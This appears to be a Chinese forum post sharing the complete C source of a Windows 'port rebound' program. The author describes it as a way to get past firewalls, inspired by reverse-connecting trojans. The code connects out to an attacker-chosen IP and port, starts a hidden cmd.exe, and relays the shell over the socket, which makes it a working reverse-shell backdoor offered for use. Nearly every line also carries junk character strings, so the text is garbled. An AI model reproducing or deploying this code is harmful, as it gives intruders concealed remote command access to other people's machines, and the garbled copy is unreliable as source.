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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rvRIKc|}l  
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/* ============================== >)8<d3m  
Rebound port in Windows NT = 6.i.(L_S  
By wind,2006/7 :} N;OS_  
===============================*/ }:1*@7eR  
#include 6SP!J*F  
#include 5{\;7(  
xW+ XN`77  
#pragma comment(lib,"wsock32.lib") }S=m: VKH  
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void OutputShell(); AVi,+n  
SOCKET sClient; Zd~Q@+sH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E, ;'n  
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void main(int argc,char **argv) Mp_SL^g|  
{ ^wW{7Uq>  
WSADATA stWsaData;  E-L>.tD  
int nRet; KF}_|~~T  
SOCKADDR_IN stSaiClient,stSaiServer; ?, oE_H  
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if(argc != 3) evro]&N{  
{ iXD=_^^o .  
printf("Useage:\n\rRebound DestIP DestPort\n"); M|IgG:a;T  
return; @q<d^]po  
} is6d:p  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]~kgsI[E  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K/|qn)  
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stSaiClient.sin_family = AF_INET; tvR|!N }  
stSaiClient.sin_port = htons(0); wt1Y&D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %Zi}sm1t  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [9,34/i  
{ my*E7[  
printf("Bind Socket Failed!\n"); , %$Cfu  
return; fk'DJf[M  
} Q|tzA10E  
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stSaiServer.sin_family = AF_INET; jM;?);Dd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CQI\/oaO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o0#zk  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XBN,{  
{ szas(7kDS  
printf("Connect Error!"); n~'cKy )m  
return; gjc[\"0a5h  
} =fcRH:B:  
OutputShell(); 1pZ[r M'}  
} qd@Fb*  
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void OutputShell() 17S<6j#H5  
{ ?X3uPj9if  
char szBuff[1024]; (F'?c1  
SECURITY_ATTRIBUTES stSecurityAttributes; 6;p"xC-  
OSVERSIONINFO stOsversionInfo; *#c^.4$'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M(#]NTr ~4  
STARTUPINFO stStartupInfo; YnW,6U['{g  
char *szShell; eDL0Vw  
PROCESS_INFORMATION stProcessInformation; g#r,u5<*?  
unsigned long lBytesRead; ~vstuRRST  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VCc57 Bo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V u1|5  
stSecurityAttributes.lpSecurityDescriptor = 0; d;E (^l  
stSecurityAttributes.bInheritHandle = TRUE; ^=,N] j  
L,* #  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i$dF0.}Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rq,Fp/  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rkh ^|_<!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &C.m*^`^  
stStartupInfo.wShowWindow = SW_HIDE; ?oulQR6:  
stStartupInfo.hStdInput = hReadPipe; M<cm]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w_9[y  
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GetVersionEx(&stOsversionInfo); BTa#}LBZ+  
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switch(stOsversionInfo.dwPlatformId) N7}y U~j^  
{ 'jjJ[16"d  
case 1: 1j\wvPLr  
szShell = "command.com"; }(v <f*7=n  
break; S'(Hl}h!.  
default: @+(a{%~7y  
szShell = "cmd.exe"; :AM_C^j~ D  
break; $S2kc$'F  
} GdtR  /1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8e}8@[h  
zZI7p[A[3  
send(sClient,szMsg,77,0); f<l.%B  
while(1) (m& ''yaH  
{ :my@Oxx4@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cDqj&:$e  
if(lBytesRead) 66MWOrr  
{ 0]MI*s>&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y>|AX/n  
send(sClient,szBuff,lBytesRead,0); 06fs,!Q@  
} n%I9l]  
else ~Pi CA  
{ ?PDrj/: *  
lBytesRead=recv(sClient,szBuff,1024,0); &ZAc3@l[c  
if(lBytesRead<=0) break; -`d(>ok  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .8/W_iC92  
} O`FuXB(t  
} AW/)R"+  
"7_qB8\  
return; %a$Fsn  
}
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